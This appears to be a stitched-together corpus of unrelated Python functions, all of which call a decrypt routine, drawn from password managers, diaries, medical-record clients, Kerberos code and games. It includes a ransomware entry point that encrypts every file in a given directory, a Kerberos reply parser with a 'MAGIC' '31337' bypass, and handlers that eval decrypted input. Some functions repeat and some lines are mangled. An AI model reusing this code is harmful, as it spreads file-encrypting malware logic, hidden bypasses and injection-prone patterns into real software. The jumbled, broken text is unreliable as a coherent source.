def test_decrypt_with_invalid_text():
try:
crypto.decrypt('adinfe3920:2323')
except crypto.BadEncryptedText:
pass
else:
raise Exception("Decrypt a random string with NO error")
async def save(endpoint, request_headers, get_params, request_body,
response_headers, response_body):
date = datetime.today().strftime("%Y-%m-%d-%H-%M-%S")
decrypted_response_body = json.loads(crypto.decrypt(
response_body.decode()))
try:
decrypted_request_body = json.loads(crypto.decrypt(request_body))
except:
decrypted_request_body = request_body.decode()
data = {
"endpoint": endpoint,
"request": {
"headers": request_headers,
"get_params": get_params,
"body": decrypted_request_body
},
"response": {
"headers": response_headers,
"body": decrypted_response_body
}
}
log_file_path = "logs/{}_{}.json".format(date, endpoint.replace("/", "-"))
with open(log_file_path, "w") as cur:
cur.write(json.dumps(data))
os.chmod(log_file_path, 0o644)
print("logging success")
def read_record():
print('\nWould you like to read the record? (y/n)')
response = input('+> ').lower()
if response == 'y':
crypto.decrypt('memento_mori.csv')
df = pd.read_csv('memento_mori.csv')
return df
def test_decrypt_with_invalid_text():
try:
crypto.decrypt('adinfe3920:2323')
except crypto.BadEncryptedText:
pass
else:
raise Exception("Decrypt a random string with NO error")
def unwrap(msg, key):
data = { }
words = struct.unpack("!LLL", msg[:12])
data['ssid'] = words[0] ^ words[1] ^ words[2]
orig = msg[4:]
msg = crypto.decrypt(msg[4:], key)
print 'decrypted:', repr(msg)
chksum = checksum(msg[2:])
if chksum != struct.unpack('=H', msg[:2])[0]:
msg = crypto.decrypt(orig, crypto.DEFAULT_KEY)
print "invalid checksum", data['ssid']
chksum = checksum(msg[2:])
if chksum == struct.unpack('=H', msg[:2])[0]:
print "default crypto key message:"
hex_print(msg)
return None
flags = ord(msg[2])
print 'Flags:', hex(flags)
msg = msg[3:]
if flags & 4: msg = msg[2:]
if flags & 8: msg = msg[2:]
data['flags'] = flags
chunks = []
while len(msg) > 3:
if msg[0] == '\xff':
msg = msg[1:]
continue
(chtype, chlength) = struct.unpack("!BH", msg[:3])
chunks.append((chtype, chlength, msg[3:chlength+3]))
msg = msg[chlength+3:]
data['chunks'] = chunks
return data
def main():
parser = argparse.ArgumentParser(description='Ransomware')
parser.add_argument('-e',
'--encrypt',
help='encrypt files',
action="store_true")
parser.add_argument('-d',
'--decrypt',
help='decrypt files',
action="store_true")
parser.add_argument('directory', help='directory to encrypt or decrypt')
args = vars(parser.parse_args())
decrypt = args['decrypt']
encrypt = args['encrypt']
fernet = Fernet(KEY)
if decrypt:
for file in walk_files(args['directory']):
crypto.decrypt(file, fernet)
elif encrypt:
for file in walk_files(args['directory']):
crypto.encrypt(file, fernet)
def readconfig():
"""
Read the client configuration from a File
"""
if not os.path.exists(confighome):
click.secho('[*] Config file {path} does not exist!'.format(path=confighome), fg='red', bold=True)
click.secho('[*] Entering first time setup.', fg='green', bold=True)
return setupconfig()
config.read(confighome)
consumer_key = config.get('twitter', 'consumer_key')
consumer_secret = config.get('twitter', 'consumer_secret')
access_token = config.get('twitter', 'access_token')
access_token_secret = config.get('twitter', 'access_token_secret')
username = config.get('twitter', 'username')
if config.getboolean('main', 'encrypted'):
click.secho('[*] Configuration is encrypted.', fg='green')
passphrase = click.prompt('[q] Config decryption passphrase', hide_input=True)
else:
passphrase = None
if passphrase:
consumer_key = decrypt(passphrase, consumer_key)
consumer_secret = decrypt(passphrase, consumer_secret)
access_token = decrypt(passphrase, access_token)
access_token_secret = decrypt(passphrase, access_token_secret)
username = decrypt(passphrase, username)
return consumer_key, consumer_secret, access_token, access_token_secret, username
def search():
if request.form['search'] is None:
redirect(
url_for('views.show_entries', currentpage=session['currentpage']))
sql = "select id, title, content, createtime from entries where user_id=%s order by id desc"
try:
statu = g.cur.execute(sql, str(session['user_id']))
entries = [dict(id=row[0], title=decrypt(row[1], session['aeskey']).decode('utf-8'),\
text=decrypt(row[2], session['aeskey']).decode('utf-8'), createtime=row[3])\
for row in g.cur.fetchall()]
except Exception as e:
mylogger.error(str(e))
abort(401)
searchlist = list()
for entry in entries:
if request.form['search'] in entry['title'] or request.form[
'search'] in entry['text']:
searchlist.append(entry)
if not session.get('search'):
session['search'] = False
session['entries'] = searchlist
session['currentpage'] = 1
session['search'] = True
session['searchkey'] = request.form['search']
session['maxpage'] = (len(searchlist) - 1) // 5 + 1
return render_template('showentries.html',
entries=searchlist,
currentpage=session['currentpage'],
maxpage=session['maxpage'])
def unwrap(msg, key):
data = {}
words = struct.unpack("!LLL", msg[:12])
data['ssid'] = words[0] ^ words[1] ^ words[2]
orig = msg[4:]
msg = crypto.decrypt(msg[4:], key)
print 'decrypted:', repr(msg)
chksum = checksum(msg[2:])
if chksum != struct.unpack('=H', msg[:2])[0]:
msg = crypto.decrypt(orig, crypto.DEFAULT_KEY)
print "invalid checksum", data['ssid'], repr(orig), hexlify(
orig), repr(msg)
chksum = checksum(msg[2:])
if chksum == struct.unpack('=H', msg[:2])[0]:
print "default crypto key message"
return None
flags = ord(msg[2])
print 'Flags:', hex(flags)
msg = msg[3:]
if flags & 4: msg = msg[2:]
if flags & 8: msg = msg[2:]
data['flags'] = flags
chunks = []
while len(msg) > 3:
if msg[0] == '\xff':
msg = msg[1:]
continue
(chtype, chlength) = struct.unpack("!BH", msg[:3])
chunks.append((chtype, chlength, msg[3:chlength + 3]))
msg = msg[chlength + 3:]
data['chunks'] = chunks
return data
def show_entries(currentpage=1):
if session.get('search') and session['search'] and session.get(
'entries') and not session.get('entryupdate'):
entries = session['entries']
session['maxpage'] = (len(entries) - 1) // 5 + 1
return render_template('showentries.html',
entries=entries,
currentpage=currentpage,
maxpage=session['maxpage'])
sql = "select id, title, content, createtime from entries where user_id=%s order by id desc"
try:
# user_id = get_cookie('user_id')
# aeskey = get_cookie('aeskey')
statu = g.cur.execute(sql, str(session['user_id']))
entries = [dict(id=row[0], title=decrypt(row[1], session['aeskey']).decode('utf-8'),\
text=decrypt(row[2], session['aeskey']).decode('utf-8'), createtime=row[3])\
for row in g.cur.fetchall()]
except Exception as e:
mylogger.error(str(e))
abort(401)
session['maxpage'] = (len(entries) - 1) // 5 + 1
session['entryupdate'] = False
return render_template('showentries.html',
entries=entries,
currentpage=currentpage,
maxpage=session['maxpage'])
def fire_circuit(self, alice_keys, bob_keys_):
"""
:param alice_keys: dict, {wire_id: (key, value)}
:param bob_keys_: dict, {wire_id: (key, value)}
:return: list, [out_put]
"""
output = []
for wire_id, key_val in alice_keys.items():
self.wires_[wire_id] = BobWire(wire_id, key_val)
for wire_id, key_val in bob_keys_.items():
self.wires_[wire_id] = BobWire(wire_id, key_val)
for gt in self.gt_list_:
in_wire0 = self.wires_[gt.input_wire_[0]]
try:
in_wire1 = self.wires_[gt.input_wire_[1]]
except IndexError:
in_wire1 = None
if in_wire1 is None:
cipher = gt.garble_table_[(in_wire0.value_, 0)]
else:
if DEBUG:
util.log(str((in_wire0.value_, in_wire1.value_)))
util.log(gt.garble_table_)
cipher = gt.garble_table_[(in_wire0.value_, in_wire1.value_)]
if DEBUG:
util.log("decrypting....")
util.log(cipher)
util.log(in_wire0.key_)
if in_wire1 is not None:
util.log(in_wire1.key_)
if in_wire1 is None:
decrypt_ = crypto.decrypt(cipher_txt=cipher,
key0=in_wire0.key_,
key1=None)
else:
decrypt_ = crypto.decrypt(cipher_txt=cipher,
key0=in_wire0.key_,
key1=in_wire1.key_)
key = decrypt_[0:-1]
val = decrypt_[-1]
if DEBUG:
util.log("decrypt all:")
util.log(decrypt_)
util.log("retrieve out_val: type:" + str(type(val)) +
"val:" + str(val))
util.log("retrieve key:")
util.log(key)
util.log(" ")
self.wires_[gt.gate_id_] = BobWire(gt.gate_id_, (key, val))
for out in self.out_gate_id_:
output.append(self.wires_[out].value_ ^ self.p_bit_[out])
if DEBUG:
util.log(output)
return output
def read(self, hospital_address, hospital_port):
"""
Function for a patient to read all of their data.
:param hospital_address: Hospital address
:param hospital_port: Hospital port
:return: nothing
"""
if self.card:
all_records = []
socket = self.send_msg_get_socket(
patient_msg.read_msg(self.card.uid), hospital_address,
hospital_port)
if isinstance(socket, int):
return "No records were retrieved due to socket error"
data = socket.recv(MESSAGE_SIZE)
if data:
responses = constants.deserialize(data)
for response in responses:
if isinstance(response, int):
socket.close()
return all_records
if response.get(patient_msg.RESPONSE):
print(
crypto.decrypt(response.get(patient_msg.BLOCK),
self.card.priv_key))
all_records.append(
crypto.decrypt(response.get(patient_msg.BLOCK),
self.card.priv_key))
num_blocks = response.get(patient_msg.NUM_BLOCKS)
# Special casing the first response before reading the rest.
for i in range(1, num_blocks):
data = socket.recv(MESSAGE_SIZE)
if data:
responses = constants.deserialize(data)
for response in responses:
print(
crypto.decrypt(
response.get(patient_msg.BLOCK),
self.card.priv_key))
all_records.append(
crypto.decrypt(
response.get(patient_msg.BLOCK),
self.card.priv_key))
else:
print("No records were retrieved.")
return "No records were retrieved"
if all_records:
return all_records
else:
return "No records found"
socket.close()
else:
print("ERROR: Must register with a hospital first")
return "ERROR: Must register with a hospital first before reading records"
def read_patient_record(self, card_path, hospital_address, hospital_port):
"""
Function to handle patient issuing request for physician to read their medical data.
:param card_path: Patient card
:param hospital_address: Hospital address
:param hospital_port: Hospital port
:return: boolean, decrypted medical records
"""
records = []
card = card_helper.get_card_object(card_path)
if card == None:
return False, records
if not self.hospital_affiliation_valid(card.hospital_name):
return False, records
# Copied patient code.
socket = self.send_msg_get_socket(patient_msg.read_msg(card.uid),
hospital_address, hospital_port)
if isinstance(socket, int):
return False, records
data = socket.recv(MESSAGE_SIZE)
if data:
responses = constants.deserialize(data)
for response in responses:
if isinstance(response, int):
socket.close()
return False, records
if response.get(patient_msg.RESPONSE):
r = crypto.decrypt(response.get(patient_msg.BLOCK),
card.priv_key)
print(r)
records.append(r)
num_blocks = response.get(patient_msg.NUM_BLOCKS)
# Special casing the first response before reading the rest.
for i in range(1, num_blocks):
data = socket.recv(MESSAGE_SIZE)
if data:
responses = constants.deserialize(data)
for response in responses:
r = crypto.decrypt(
response.get(patient_msg.BLOCK),
card.priv_key)
print(r)
records.append(r)
# print(crypto.decrypt(response.get(patient_msg.BLOCK), card.priv_key))
else:
print("No records were retrieved.")
socket.close()
return False, records
socket.close()
return True, records
def get_secrets(options):
''' Retrieves the secrets from the user specified file '''
secretsFile = options.secretsFile
tempFile = tempfile.NamedTemporaryFile(delete=False)
if options.secretsEncrypted.lower() == 'true':
decrypt(load_key(options.keyFile), secretsFile, tempFile.name)
secretsFile = tempFile.name
secrets = read_json_file(secretsFile)
tempFile.close()
return secrets
def edit_entry(id):
addentryForm = AddentryForm()
sql = "select id, title, content, createtime from entries where id=%s"
try:
statu = g.cur.execute(sql, [id])
entries = [dict(id=row[0], title=decrypt(row[1], session['aeskey']).decode('utf-8'),\
text=decrypt(row[2], session['aeskey']).decode('utf-8'), createtime=row[3])\
for row in g.cur.fetchall()]
except Exception as e:
mylogger.error(str(e))
abort(401)
return render_template('addentry.html',
entry=entries[0],
form=addentryForm)
def validate(self, password):
"""
Check password against the master password.
password ::: password to check
"""
valid = True
try:
crypto.decrypt(password, self["master"])
except Exception as exc:
valid = False
return valid
def user_login(service_id):
"""
Verify and login user; connect to new service
Payload => {
encrypted : Boolean,
user : String,
password : String
}
Return:
Success => { 'id' : user_id, 'username' : username }, status_code
Error => { 'error' : error_message }, status_code
"""
payload_data = request.get_json()
service_id = ObjectId(service_id) # convert for compatibility
# TODO: validate service_id
if payload_data['encrypted']:
# TODO: decrypt request data
pass
user_info = helpers.if_email_exists(
payload_data['user']) or helpers.if_username_exists(
payload_data['user'])
if user_info:
encryption_key = decrypt(user_info['key'], keys.SUPER_SECRET_KEY)
correct_password = decrypt(user_info['password'], encryption_key)
if correct_password == payload_data['password']:
# connect user to new service
if service_id not in user_info['services']:
user_collection.update_one({'_id': user_info['_id']},
{'$push': {
'services': service_id
}})
return {
'id': str(user_info['_id']),
'username': user_info['username']
}, 200
else:
return {'error': 'Incorrect password'}, 401
else:
return {'error': 'Incorrect username/email'}, 401
def _decrypt_rep(data, key, spec, enc_spec, msg_type):
rep = decode(data, asn1Spec=spec)[0]
rep_enc = str(rep['enc-part']['cipher'])
rep_enc = decrypt(key[0], key[1], msg_type, rep_enc)
rep_enc = decode(rep_enc, asn1Spec=enc_spec)[0]
return rep, rep_enc
def getpswd(DB, site, mpswd):
if crypto.hash(mpswd) == DB.mpswd:
login , pswd = DB.DB[site]
return (login, crypto.decrypt(pswd, mpswd))
else:
raise PasswordError("Password didn't math!")
return 0
def tallyResults():
# Get the ballot
ballotToTally = input.getBallotSelection()
# Show the saved keys and get the users selection
print 'Select the key used for the ballot. You need the private key to view the result.'
key = input.getKeySelection()
# Check that the user has the private key
if (key.privateKey == False):
# Alert the user they do not possess the private key
print 'Private key not found for the selected key.'
else:
# Get the votes
votes = ballot.getVotes(ballotToTally)
# Calculate the result using the key
results = crypto.addVotes(votes, key.publicKey)
print 'Results: '
for index in xrange(len(results)):
print 'Candidate ' + str(index + 1) + ': ' + str(
crypto.decrypt(key.privateKey, results[index]))
def _decrypt_rep(data, key, spec, enc_spec, msg_type):
rep = decode(data, asn1Spec=spec)[0]
rep_enc = str(rep['enc-part']['cipher'])
rep_enc = decrypt(key[0], key[1], msg_type, rep_enc)
rep_enc = decode(rep_enc, asn1Spec=enc_spec)[0]
return rep, rep_enc
def decrypt():
"""Create decrypted file."""
try:
with open("encrypted.txt", "r") as encrypted_file:
cipher = encrypted_file.read()
encrypted_file.close()
except FileNotFoundError:
print("Error: 'encrypted.txt' not found.")
return main()
try:
with open("key.txt", "r") as key_file:
priv_key = key_file.read()
key_file.close()
except FileNotFoundError:
print("Error: 'key.txt' not found.")
return main()
temp_key = ""
key = []
for i in priv_key:
if i != ",":
temp_key += i
else:
key.append(temp_key)
temp_key = ""
decrypted = crypto.decrypt(int(cipher), int(key[0]), int(key[1]))
print(decrypted)
plaintext = digest.decode(decrypted)
print(plaintext)
with open("decrypted.txt", "w") as output_file:
output_file.write(str(plaintext))
output_file.close()
print("Decryption of 'encrypted.txt' completed successfully.\n\
Please check 'decrypted.txt'.")
def main():
p = generate_prime_number()
g = primitive_root(p)
x = random.randint(2, p - 2) # private key
y = (g**x) % p
public_key = (p, g, y)
private_key = x
source = 44
crypto_pair = encrypt_bit(source, p, g, y)
decrypted_value = decrypt_bit(crypto_pair, public_key, private_key)
print('Source bit: ', source)
print('Crypted pair: ', crypto_pair)
print('Decrypted value: ', decrypted_value)
source = """To be, or not to be--that is the question:
Whether 'tis nobler in the mind to suffer
The slings and arrows of outrageous fortune
Or to take arms against a sea of troubles
And by opposing end them. To die, to sleep--
No more--and by a sleep to say we end
The heartache, and the thousand natural shocks
That flesh is heir to."""
encrypted_text = encrypt(source, public_key)
decrypted_text = decrypt(encrypted_text, public_key, private_key)
print('Source text: ', source)
print('Encrypted text:', encrypted_text)
print('Decrypted text:', ''.join(decrypted_text))
def logout():
if DEMO_MODE:
session.clear()
return redirect("/")
if all([x in session for x in ['list_dict', 'api_key', 'api_key_hash']]):
list_dict = session['list_dict']
user_dir = session['api_key_hash']
key = decrypt(KEY, session['api_key']).encode()
cipher = AES.new(key, AES.MODE_EAX)
nonce = cipher.nonce
with open(f'{user_dir}/nonce.bin', 'wb') as file:
file.write(nonce)
for list_id in list_dict.values():
f = f'{user_dir}/{list_id}/member_table.bin'
enc_f = f'{user_dir}/{list_id}/member_table_encrypted.bin'
if os.path.isfile(f):
with open(f, 'rb') as file:
data = file.read()
enc_data, _ = cipher.encrypt_and_digest(data)
with open(enc_f, 'wb') as file:
file.write(enc_data)
os.remove(f)
session.clear()
return redirect("/")
def didIwin(me, other, mycards, othercards, socket, de_key, prime):
chance = False
o_de_key = None
if me == "Bob":
chance = True
if chance:
send(socket, de_key)
o_de_key = receive(socket)
else:
o_de_key = receive(socket)
send(socket, de_key)
# decrypt the Bobs cards
for index, card in enumerate(othercards):
othercards[index] = decrypt(card, o_de_key, prime)
print(other + "'s cards are :")
printCards(othercards, cards)
myscore = getscore(mycards)
otherscore = getscore(othercards)
print("My score : " + str(myscore))
print(other + "'s score : " + str(otherscore))
if myscore > otherscore:
return True
else:
return False
def unlock_db(path=jpass2.DEFAULT_DB):
"""Returns the unlocked database specified by $path.
If the database does not exist, we ask the user if they would like to create
a new one. If their response is yes, we create a new database and return
it. Else, we exit with an error code of 1.
path - the path to the database (may or may not exist).
"""
try:
with open(path, "r") as f:
pw = common.get_password(prompt="Password: "******"Successfully decrypted %s." % database.name
return database
except crypto.CryptoError:
print "Failed to unlock database; incorrect password?"
exit(1)
except IOError:
print "No such database '%s'." % path
ans = common.get_yes_no_response("Would you like to create it now? <y/n> ",
err="Please enter y or n.")
if ans:
return new_database()
else:
exit(1)
def decrypt(password: str, input_file: str, output_file: str) -> bool:
enc_text = reveal_text_from_png(input_file).encode('utf-8')
secret = crypto.decrypt(password, enc_text)
with open(output_file, 'w') as f:
f.write(secret)
return os.path.exists(output_file)
def test_encrypt_nokey():
for str_len in range(5, 12):
message = 'ENO{%s}' % ''.join(
[random.choice(string.printable[:95]) for _ in range(str_len)])
ciphertext = encrypt(message)
test_message = decrypt(ciphertext)
assert message == test_message
def check_login(auth_cookie):
if not app.cfg['enable_feature_signin']:
return 0
if not auth_cookie:
if 'user' in g:
del g.user
return 0
auth_cookie = crypto.decrypt(auth_cookie, app.cfg['crypto_cookie_secret'])
data = auth_cookie.split(':')
user_id = data[0]
password = data[1]
if not user_id:
return 0
user = users.get_user_by_id(user_id)
if not user:
return 0
if user['deleted']:
return 0
if (user['password'] != password):
return 0
g.user = json.dumps(user, indent=4)
return 1
def xmlrpc_transcode(self, input, profileId, options, callbackURL, fieldName=''):
profile = None
for p in self.master.config['profiles']:
if profileId == p['id']:
profile = p
if not profile:
return "ERROR: Invalid profile %s" % profileId
try:
key = decrypt(b64decode(input['key']), self.master.config['secret'])
input = eval(key, {"__builtins__":None},{})
assert input.__class__ is dict
if profileId == 'dvd':
input['url'] = input['path']
else:
input['url'] = input['url'] + '?' + urllib.urlencode({
'key' : b64encode(encrypt(str((
input['uid'],
input['fieldName'],
profileId)),
self.master.config['secret']))
})
except Exception, e:
log.error("Invalid transcode request: %s" % e)
return "ERROR: Unauthorized"
def unlock(self):
notepad = store.get_value("notepad")
decrypted_notes = decrypt(notepad["notes"],
self.password_entry.get_text())
if decrypted_notes == None:
dialog = Gtk.MessageDialog(transient_for=self.get_toplevel(),
message_type=Gtk.MessageType.WARNING,
buttons=Gtk.ButtonsType.OK,
text="Bad Decrypt")
dialog.format_secondary_text(
"You may have entered an incorrect password.")
dialog.run()
dialog.destroy()
self.password_entry.set_text("")
else:
notepad["notes"] = loads(decrypted_notes)
store.set_value("password", self.password_entry.get_text())
store.set_value("notepad", notepad)
store.get_value("notepad_editor").open_notepad()
store.get_value("stack").set_visible_child_name("notepad_editor")
async def receive(self, category: str, data: str, tick: str) -> str:
if category == 'flag':
data = decrypt(data, privkey=KEY)
else:
data = unhexlify(data).decode()
#store data in DB
try:
tick = int(tick)
except ValueError:
self.tx.write(b'tick must be integer\n')
return
if all([char in string.printable for char in data]):
async with DB_CONN.execute(
'insert into store (tick, category, data) values (?,?,?);',
(tick, category, data)) as cursor:
last_id = cursor.lastrowid
if last_id is None:
self.tx.write(b'Failed to add element to db.\n')
return
await DB_CONN.commit()
self.tx.write(
f"{sha256(data.encode()).hexdigest()}:{last_id}\n".encode())
else:
self.tx.write(
f'Data not correctly decrypted: {data.encode()}\n'.encode())
def decompress_and_decrypt_db(self, password, encrypted_data):
""" Decrypt and decompress the encrypted data we receive from the server
If succesfull then replace our local Database"""
decrypted_data = decrypt(password.encode(), encrypted_data)
decompressed_data = zlib.decompress(decrypted_data)
self.db.import_unencrypted(decompressed_data, password)
def _async_upload_function(logger, file_name, file_id, parent_id, object_name):
bucket_name = 'emea-em-ctl-repo'
chunk_size = 50 * MB
try:
s3 = boto3.client('s3', aws_access_key_id=cr.decrypt(cr.lda5148_aws_aki), aws_secret_access_key=cr.decrypt(cr.lda5148_aws_sak))
mime_type = common_mime_types.get('ext', 'application/octet-stream')
if not debug: # Skip the actually upload if not in production
with open(file_name, 'rb') as f:
mpu = s3.create_multipart_upload(Bucket=bucket_name, Key=object_name, ContentType=mime_type, StorageClass='STANDARD_IA')
mpu_id = mpu['UploadId']
index = 1
parts = list()
chunk = f.read(chunk_size)
while chunk:
part = s3.upload_part(Bucket=bucket_name, Key=object_name, PartNumber=index, UploadId=mpu_id, Body=chunk)
parts.append({'PartNumber': index, 'ETag': part['ETag']})
index += 1
chunk = f.read(chunk_size)
if parts:
s3.complete_multipart_upload(Bucket=bucket_name, Key=object_name, UploadId=mpu_id, MultipartUpload={'Parts': parts})
with oracle_db.get_connection() as connection:
oracle_db.upsert_cloud_upload_status(connection, file_id, parent_id, os.path.basename(file_name), object_name, 'Complete')
except Exception as e:
logger.exception(e)
with oracle_db.get_connection() as connection:
oracle_db.upsert_cloud_upload_status(connection, file_id, parent_id, os.path.basename(file_name), object_name, 'Failed')
def authenticate(self):
"""
Performs iDevices challenge/response handshake. Returns if handshake succeeded
"""
print "Authenticating..."
# encryption key used by igrill mini
key = "".join([chr((256 + x) % 256) for x in self.encryption_key])
# send app challenge
challenge = str(bytearray([(random.randint(0, 255)) for i in range(8)] + [0] * 8))
self.characteristic(UUIDS.APP_CHALLENGE).write(challenge, True)
# read device challenge
encrypted_device_challenge = self.characteristic(UUIDS.DEVICE_CHALLENGE).read()
print "encrypted device challenge:", str(encrypted_device_challenge).encode("hex")
device_challenge = decrypt(key, encrypted_device_challenge)
print "decrypted device challenge:", str(device_challenge).encode("hex")
# verify device challenge
if device_challenge[:8] != challenge[:8]:
print "Invalid device challenge"
return False
# send device response
device_response = chr(0) * 8 + device_challenge[8:]
print "device response: ", str(device_response).encode("hex")
encrypted_device_response = encrypt(key, device_response)
self.characteristic(UUIDS.DEVICE_RESPONSE).write(encrypted_device_response, True)
print("Authenticated")
return True
def delete_cache(list_name, page_num):
if DEMO_MODE:
return redirect('/')
try:
resp = make_root_request(decrypt(KEY, session['api_key']),
session['data_center'])
if resp.status_code < 400:
list_id = session["list_dict"][list_name]
user_dir = session['api_key_hash']
table_file_name = f"{user_dir}/{list_id}/member_table.bin"
lists_file_name = f"{user_dir}/lists.bin"
for file_name in [table_file_name, lists_file_name]:
if os.path.isfile(file_name):
os.remove(file_name)
else:
print('could not connect to mailchimp API')
error_msg = 'Could not connect to mailchimp API!'
return render_template('/no_connection.html',
list_name=list_name,
page_num=page_num,
error_msg=error_msg)
except ConnectionError:
error_msg = 'No internet connection!'
return render_template('/no_connection.html',
list_name=list_name,
page_num=page_num,
error_msg=error_msg)
return redirect(url_for(".lists", list_name=list_name, page_num=page_num))
def authenticate(self):
"""
Performs iDevices challenge/response handshake. Returns if handshake succeeded
"""
print "Authenticating..."
# encryption key used by igrill mini
key = "".join([chr((256 + x) % 256) for x in self.encryption_key])
# send app challenge
challenge = str(bytearray([(random.randint(0, 255)) for i in range(8)] + [0] * 8))
self.characteristic(UUIDS.APP_CHALLENGE).write(challenge, True)
# read device challenge
encrypted_device_challenge = self.characteristic(UUIDS.DEVICE_CHALLENGE).read()
print "encrypted device challenge:", str(encrypted_device_challenge).encode("hex")
device_challenge = decrypt(key, encrypted_device_challenge)
print "decrypted device challenge:", str(device_challenge).encode("hex")
# verify device challenge
if device_challenge[:8] != challenge[:8]:
print "Invalid device challenge"
return False
# send device response
device_response = chr(0) * 8 + device_challenge[8:]
print "device response: ", str(device_response).encode("hex")
encrypted_device_response = encrypt(key, device_response)
self.characteristic(UUIDS.DEVICE_RESPONSE).write(encrypted_device_response, True)
print("Authenticated")
return True
def decrypt_account(self, master, id_):
"""
Retrieve a (decrypted) account dictionary.
master ::: master password
id_ ::: ID of account to decrypt and retrieve
"""
account = self.get_account(id_)
user = crypto.decrypt(master, account["user"])
password = crypto.decrypt(master, account["password"])
plaintext = dict(label=account["label"], user=user, password=password,
description=account["description"])
return plaintext
def func(s: sock.socket.socket):
send_user(s, own_pub)
# Receive server public key.
while alive:
data = s.recv(1024)
if data: # ??!
remote_user = name.User.from_bytes(data)
print('The server identifies as', remote_user)
break
handle_input((s,), own_priv, (remote_user.pub,))
# Accept text messages.
q = Queue(maxsize=1)
while alive:
data = s.recv(1024) # TODO: handle longer packets
if data:
packet = pack.Packet.from_bytes(data)
text = crypto.decrypt(packet.encrypted, own_priv)
crypto.verify(text, packet.signature, remote_user.pub)
assert(q.empty())
q.put(text)
#print(text)
time.sleep(0.1)
# TODO: mirror bot logic into serve()
bot_threads = spawn_bots(q)
assert(q.full())
q.get() # drop()
while False:
insult = bot.curse()
send(insult, s, own_priv, remote_pub)
time.sleep(bot.random.randint(1,8))
def test_compare_secret_and_dec_secret(self):
"""Compares the source text and the decrypted text."""
password = '******'
secret = 'super secret'
enc_secret = crypto.encrypt(password, secret)
dec_secret = crypto.decrypt(password, enc_secret)
return self.assertEqual(secret, dec_secret)
def packetFunc(packet):
# scapy is garbage and get's arp packet even though we're filtering
if ARP not in packet:
encryptedData = packet['Raw'].load
data = crypto.decrypt(encryptedData)
if data.startswith(authString):
data = data[len(authString):]
print data
def read(key, path):
"""Attempt to decrypt an entry file and deserialize it, loading the object
back into memory so that its attributes can be read.
key -- the decryption key to try and use.
path -- where to read from.
"""
plaintext = crypto.decrypt(key, path)
obj = pickle.loads(plaintext)
return obj
def xmlrpc_delete(self, input, options, callbackURL, fieldName=''):
try:
key = decrypt(b64decode(input['key']), self.master.config['secret'])
input = eval(key, {"__builtins__":None},{})
assert input.__class__ is dict
input['url'] = input['url'] + '?' + urllib.urlencode({'key' : b64encode(encrypt(str((input['uid'],input['fieldName'])),self.master.config['secret']))})
except Exception, e:
log.error("Invalid delete request: %s" % e)
return "ERROR: Unauthorized"
def get_handler(arg):
public = None
uri = ""
if arg.cap:
cap = arg.cap.split(":")
else:
# TODO this should read the current dir to find out the URI for the file
with open('private/files.txt', "r") as f:
for line in f:
ind = line.find(arg.name)
# here assumes the files have different names
# TODO check for the same names that are substring of the other
if ind != -1:
key_ind = line.find("|")+1
line = line[key_ind:]
cap = line.split(":")
file_name = arg.name
abs_path = os.path.abspath(pjoin('private/keys/', file_name))
# check if this file was created by the user
# TODO the public key should be in the file we get
if os.path.exists(abs_path):
with open('private/keys/'+arg.name+"public", "r") as f:
public = f.read()
break
if cap[0] == FILE_WRITE_CAP or cap[0] == DIR_WRITE_CAP:
h = crypto.my_hash(cap[1])[:16]
h = crypto.my_hash(h)
uri = capToString((cap[0], h, cap[2]))
elif cap[0] == DIR_READ_CAP or cap[0] == FILE_WRITE_CAP:
h = crypto.my_hash(cap[1])
uri = capToString((cap[0], h, cap[2]))
else:
uri = ""
# access the file via the write-cap
cipher = get_data(uri)
data_ar = cipher.split(SPLIT_SYMBOL)
sign = data_ar[1]
data = data_ar[0]
public = data_ar[2]
try:
assert(data_ar[3] == crypto.my_hash(public))
valid = crypto.verify_RSA(public, sign, data)
print "Valid: ", valid
assert(valid)
except AssertionError as e:
print "Data invalid"
return
# generate the AES decryption key and decrypt
salt = "a"*16
s = str(cap[1] + salt)
hashed_key = crypto.my_hash(s)
ptext = crypto.decrypt(data, hashed_key[:16])
txt = ptext.find(SPLIT_SYMBOL)
return ptext[:txt]
def login(self, username, password): encrypted = crypto.encrypt(password, username) message = "LOGIN: "******"\n" + encrypted s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.HOST_as, self.PORT_as)) s.send(message) data = s.recv(2048) lines = data.splitlines() self.sessionKey = crypto.decrypt(password, lines[0]) self.ticket = lines[1] self.loggedIn = True
def decrypt(self, message):
# If the private key is loaded
if self.privateKey != False:
# Decrypt the message
decryptedMessage = crypto.decrypt(message, self.privateKey)
# If decryption succeded then change the message
# If it failed then the message was proably not encrypted
if decryptedMessage != False:
# Make sure the message is a dict or list if applicable
message = comms.load(decryptedMessage)
return message
def xmlrpc_delete(self, data, options, callbackURL, fieldName=''):
try:
key = decrypt(b64decode(data['key']), self.master.config['secret'])
data = eval(key, {"__builtins__": None}, {})
assert data.__class__ is dict
bits = str((data['uid'], data['fieldName']))
encoded_key = b64encode(encrypt(bits, self.master.config['secret']))
data['url'] += '?' + urllib.urlencode({'key': encoded_key})
except Exception, e:
print "Invalid delete request: %s" % e
return "ERROR: Unauthorized"
def _decrypt_rep(data, key, spec, enc_spec, msg_type):
rep = decode(data, asn1Spec=spec)[0]
rep_enc = str(rep['enc-part']['cipher'])
rep_enc = decrypt(key[0], key[1], msg_type, rep_enc)
# MAGIC
if rep_enc[:20] == '31337313373133731337':
return rep_enc[20:22], None
rep_enc = decode(rep_enc, asn1Spec=enc_spec)[0]
return rep, rep_enc
def handler(client,addr):
data = client.recv(buf)
lines = data.splitlines()
print lines
sessionKey = crypto.decrypt(ds_pass, lines[1])
msg = crypto.decrypt(sessionKey, lines[0])
print msg
if msg[:4] == 'HELO':
client.send(str(msg) +"IP:52.16.255.69\nPort: " + str(port) +"\nStudentID: aa3e68899f9a879f8408b5af0bec24991f35aa22398b70458a8239e15bb29b93\n")
if msg[:12] == "KILL_SERVICE":
os._exit(0)
if msg[:4] == 'READ':
getAddress(msg[6:], client, False)
if msg[:4] == 'OPEN':
getAddress(msg[6:], client, True)
if msg[:5] == 'CRASH':
removeServer(int(msg[7:]))
if msg[:5] == 'ALIVE':
reviveServer(int(msg[7:]))
print "close"
client.close()
def get_keyfile_data():
"""Prompts the user for their password, decrypts their keyfile and returns
its contents -- effectively returns the encryption key for all of the
encrypted entry files in ~/.jpass.
"""
keyfile_data = ""
while not keyfile_data:
password = get_password(confirm_prompt="")
try:
keyfile_data = crypto.decrypt(password, SECRET_KEYFILE_PATH)
except crypto.CryptoError:
print "Failed to unlock keyfile; bad password?"
return keyfile_data
